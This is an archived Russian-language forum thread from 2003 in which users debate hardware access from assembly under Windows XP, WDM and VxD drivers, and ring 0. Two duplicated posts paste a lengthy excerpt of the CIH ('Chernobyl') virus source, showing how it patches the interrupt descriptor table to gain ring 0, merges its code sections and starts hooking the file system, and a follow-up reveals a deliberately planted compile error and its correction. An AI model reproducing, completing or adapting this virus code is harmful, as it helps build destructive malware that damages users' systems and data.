Форум: "Потрепаться";
Текущий архив: 2003.04.24;
Скачать: [xml.tar.bz2];
ВнизASM и WinXP и т.п. Найти похожие ветки
← →
konstantinov (2003-04-05 21:45) [0]На форуме как-то проскакивали вопросы почему ASM код для работы с аппаратными ресурсами ПК не работает под ХР. От себя добавлю, что не работают также некоторые драйверы ( лично у меня были проблемы с видеокартой и сканером ). ИМХО в ХР напрочь закрыли дверку для монопольного использования аппаратных средств. Как с этим бороться? Или какие условия нужно выполнить, чтобы получить доступ из кода АSM?
← →
Ihor Osov'yak (2003-04-05 22:25) [1]Возможность доступа к аппаратным ресурсам никак не зависит от того, на каком языке программирования сделана программа.
Совсем другой вопрос, что под определенную платформу и режим работы конкретная система программирования может и не генерироваить исполняемый фаайл.
По поводу того - какие условия на ассемблере нужно выполнить - ответ прост: анологичные, как и на других системах программирования.
Зы - для начала почитайте документацию вокруг ключевых слов - kernel mode, win32, wdm, vxd and so on..
← →
NetBreaker666 (2003-04-06 16:13) [2]
> ИМХО в ХР напрочь закрыли дверку для монопольного использования
> аппаратных средств. Как с этим бороться? Или какие условия
> нужно выполнить, чтобы получить доступ из кода АSM?
Никто ничего не закрывал.
И доступ к чему ? Какая разница на чем ты свой код писал ? Пример привести можешь ? По-моему это очередная попытка выпендриться... IMHO...
> Возможность доступа к аппаратным ресурсам никак не зависит
> от того, на каком языке программирования сделана программа.
> Совсем другой вопрос, что под определенную платформу и режим
> работы конкретная система программирования может и не генерироваить
> исполняемый фаайл.
Например ? Что-то не встречал таких компиляторов.
← →
Ihor Osov'yak (2003-04-06 16:50) [3]2 NetBreaker666 ©
Например, Delphi не генерирует исполняемый файл, который можно использовать для загрузки как драйвер режима ядра.
Delphi1 не генерирует исполняемых файлов, предназначеных для работы в режиме Win32.
Здесь Win32 - платформа, режим ядра - режим работы.
И тд п тп..
← →
NetBreaker666 (2003-04-06 17:04) [4]
> Ihor Osov"yak ©
Ладно, я просто тебя неправильно понял.... только что такое "драйвер режима ядра" ??? Насколько я знаю спецификация WDM не предусматривает нулевого приоритета для драйверов (вся работа идет через HAL). Или я тебя опять не понял ?
← →
Ihor Osov'yak (2003-04-06 17:51) [5]2 NetBreaker666 © (06.04.03 17:04)
Нет, ты неправильно понял спецификацию WDM. Код WDM выполняется в нулевом кольце приоритета. Взаимодействие с аппаратурой подразумевает юзание функциональности HAL, но никто не запрещает прямую работу с аппаратными портами (как в win32). С прерываниями - все же через HAL. Но однозначно последнее утверждать не буду, так как писал только те драйвера, которые с прерываниями все же не работали (не было необходимости).
← →
NetBreaker666 (2003-04-06 18:08) [6]Я писал только VXD, по-этому тоже ничего утверждать не могу, но по-моему, возможно, мы либо говорим о разных версиях WDM либо еще какая-нибудь ***ня... просто я точно где-то читал, что в WinXP ничто не может получить нулевого кольца, даже драйвер, и вся работа с портами идет через hardware abstraction level... Хотя, с портами можно хоть из 3-го работать... возможно дерьмовая дока попалась :) Ладно, когда напишу полноценный драйвер - расскажу все как есть :)
← →
Ihor Osov'yak (2003-04-06 19:31) [7]VXD и WDM разные вещи. VXD живет только под надстройками над DOS, которые именуются Win3,W95,W98,ME . В VXD часть кода исполняется в 32 битном режиме, часть кода может работать и в 16-битном.
В линейке NT такой вещи как VXD нету. WDM живет в W98,ME и W2K,XP.
При разаработке модели WDM как прототип брался kernel mode driver от NT3.5. По большому счету это то же самое, но только дополненое поддержкой PnP и системы электропитания (вернее они умеют взаимодействовать с ней). Драйвера, написанные согласно требований к kernel mode driver от NT3.5 и NT4 в W2K и XP именнуются как унаследованные (legacy).
В DDK от 98 утверждается, что WDM есть бинарно совместимые между 98 и W2K, в DDK от W2K - что совместимые на уровне исходного текста.
Введены ли какие-то новые требования к WDM в XP - не знаю, соотв. DDK пока не видел. Но во всяком случае драйвера, написанные мною для W2K работали без проблем и в XP.
Зы - WDM драйвера, которые я писал, не предназначались для работы с железом, часть из них делалась просто ради необходимости запустить некий код в нулевом кольце, часть - для иммуляции девайсов для операционной системы.
← →
NetBreaker666 (2003-04-06 20:00) [8]
> VXD и WDM разные вещи. VXD живет только под надстройками
> над DOS, которые именуются Win3,W95,W98,ME . В VXD часть
> кода исполняется в 32 битном режиме, часть кода может работать
> и в 16-битном.
Ты это кому рассказываешь :) Я уже штуки три дравера написал. Один для SBLive1024 - который работал лучше чем от Creative"а. (Просто креативовские отказывались вставать на комп ниже 166-го).
> Зы - WDM драйвера, которые я писал, не предназначались для
> работы с железом, часть из них делалась просто ради необходимости
> запустить некий код в нулевом кольце, часть - для иммуляции
> девайсов для операционной системы.
Почему-то мне кажется, что под XP"ями твои драйвера работали не в нулевом кольце. Но это только IMHO. Кстати, в Win9x можно получить нулевое кольцо без написания драйвера.
Это кусок "Чернобыля", где он получает нулевое кольцо. По-моему все понятно и без комментариев.
TRUE = 1
FALSE = 0
DEBUG = TRUE
MajorVirusVersion = 1
MinorVirusVersion = 2
VirusVersion = MajorVirusVersion*10h+MinorVirusVersion
IF DEBUG
FirstKillHardDiskNumber = 81h
HookExceptionNumber = 05h
ELSE
FirstKillHardDiskNumber = 80h
HookExceptionNumber = 03h
ENDIF
FileNameBufferSize = 7fh
; *********************************************************
; *********************************************************
VirusGame SEGMENT
ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame
; *********************************************************
; * Ring3 Virus Game Initial Program *
; *********************************************************
MyVirusStart:
push ebp
; *************************************
; * Let"s Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************
lea eax, [esp-04h*2]
xor ebx, ebx
xchg eax, fs:[ebx]
call @0
@0:
pop ebx
lea ecx, StopToRunVirusCode-@0[ebx]
push ecx
push eax
; *************************************
; * Let"s Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************
push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;
add ebx, HookExceptionNumber*08h+04h ; ZF = 0
cli
mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point
lea esi, MyExceptionHook-@1[ecx]
push esi
mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address
pop esi
; *************************************
; * Generate Exception to Get Ring0 *
; *************************************
int HookExceptionNumber ; GenerateException
ReturnAddressOfEndException = $
; *************************************
; * Merge All Virus Code Section *
; *************************************
push esi
mov esi, eax
LoopOfMergeAllVirusCodeSection:
mov ecx, [eax-04h]
rep movsb
sub eax, 08h
mov esi, [eax]
or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1
jmp LoopOfMergeAllVirusCodeSection
QuitLoopOfMergeAllVirusCodeSection:
pop esi
; *************************************
; * Generate Exception Again *
; *************************************
int HookExceptionNumber ; GenerateException Again
; *************************************
; * Let"s Restore *
; * Structured Exception Handing *
; *************************************
ReadyRestoreSE:
sti
xor ebx, ebx
jmp RestoreSE
; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************
StopToRunVirusCode:
@1 = StopToRunVirusCode
xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]
RestoreSE:
pop dword ptr fs:[ebx]
pop eax
; * Return Original App to Execute *
pop ebp
push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack
ret ; Return to Original App Entry Point
; * Ring0 Virus Game Initial Program *
MyExceptionHook:
@2 = MyExceptionHook
jz InstallMyFileSystemApiHook
; * Do My Virus Exist in System !? *
mov ecx, dr0
jecxz AllocateSystemMemoryPage
add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException
← →
NetBreaker666 (2003-04-06 20:00) [9]
> VXD и WDM разные вещи. VXD живет только под надстройками
> над DOS, которые именуются Win3,W95,W98,ME . В VXD часть
> кода исполняется в 32 битном режиме, часть кода может работать
> и в 16-битном.
Ты это кому рассказываешь :) Я уже штуки три дравера написал. Один для SBLive1024 - который работал лучше чем от Creative"а. (Просто креативовские отказывались вставать на комп ниже 166-го).
> Зы - WDM драйвера, которые я писал, не предназначались для
> работы с железом, часть из них делалась просто ради необходимости
> запустить некий код в нулевом кольце, часть - для иммуляции
> девайсов для операционной системы.
Почему-то мне кажется, что под XP"ями твои драйвера работали не в нулевом кольце. Но это только IMHO. Кстати, в Win9x можно получить нулевое кольцо без написания драйвера.
Это кусок "Чернобыля", где он получает нулевое кольцо. По-моему все понятно и без комментариев.
TRUE = 1
FALSE = 0
DEBUG = TRUE
MajorVirusVersion = 1
MinorVirusVersion = 2
VirusVersion = MajorVirusVersion*10h+MinorVirusVersion
IF DEBUG
FirstKillHardDiskNumber = 81h
HookExceptionNumber = 05h
ELSE
FirstKillHardDiskNumber = 80h
HookExceptionNumber = 03h
ENDIF
FileNameBufferSize = 7fh
; *********************************************************
; *********************************************************
VirusGame SEGMENT
ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame
; *********************************************************
; * Ring3 Virus Game Initial Program *
; *********************************************************
MyVirusStart:
push ebp
; *************************************
; * Let"s Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************
lea eax, [esp-04h*2]
xor ebx, ebx
xchg eax, fs:[ebx]
call @0
@0:
pop ebx
lea ecx, StopToRunVirusCode-@0[ebx]
push ecx
push eax
; *************************************
; * Let"s Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************
push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;
add ebx, HookExceptionNumber*08h+04h ; ZF = 0
cli
mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point
lea esi, MyExceptionHook-@1[ecx]
push esi
mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address
pop esi
; *************************************
; * Generate Exception to Get Ring0 *
; *************************************
int HookExceptionNumber ; GenerateException
ReturnAddressOfEndException = $
; *************************************
; * Merge All Virus Code Section *
; *************************************
push esi
mov esi, eax
LoopOfMergeAllVirusCodeSection:
mov ecx, [eax-04h]
rep movsb
sub eax, 08h
mov esi, [eax]
or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1
jmp LoopOfMergeAllVirusCodeSection
QuitLoopOfMergeAllVirusCodeSection:
pop esi
; *************************************
; * Generate Exception Again *
; *************************************
int HookExceptionNumber ; GenerateException Again
; *************************************
; * Let"s Restore *
; * Structured Exception Handing *
; *************************************
ReadyRestoreSE:
sti
xor ebx, ebx
jmp RestoreSE
; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************
StopToRunVirusCode:
@1 = StopToRunVirusCode
xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]
RestoreSE:
pop dword ptr fs:[ebx]
pop eax
; * Return Original App to Execute *
pop ebp
push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack
ret ; Return to Original App Entry Point
; * Ring0 Virus Game Initial Program *
MyExceptionHook:
@2 = MyExceptionHook
jz InstallMyFileSystemApiHook
; * Do My Virus Exist in System !? *
mov ecx, dr0
jecxz AllocateSystemMemoryPage
add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException
← →
NetBreaker666 (2003-04-06 20:02) [10]Ой, там не dr0, а cr0 :) (Это я в свое вермя навставлял ошибок, чтоб один ламер откомпилить не смог:) )
← →
Ixion (2003-04-07 00:22) [11]
> Ты это кому рассказываешь :) Я уже штуки три дравера написал.
> Один для SBLive1024 - который работал лучше чем от Creative"а.
> (Просто креативовские отказывались вставать на комп ниже
> 166-го).
Наши драйвера самые драйверастые драйвера в мире !!! LOL
> Почему-то мне кажется, что под XP"ями твои драйвера работали
> не в нулевом кольце. Но это только IMHO. Кстати, в Win9x
> можно получить нулевое кольцо без написания драйвера.
Это тебе только кажется. Проверь - это дело пяти минут для такого крутого хацкера как ты. Надеюсь как определить в каком кольце выполняется код объяснять не нужно ? :)
> Это кусок "Чернобыля", где он получает нулевое кольцо. По-моему
> все понятно и без комментариев.
Это ты из фака взял ? А зачем так код извратил ?
Страницы: 1 вся ветка
Форум: "Потрепаться";
Текущий архив: 2003.04.24;
Скачать: [xml.tar.bz2];
Память: 0.51 MB
Время: 0.007 c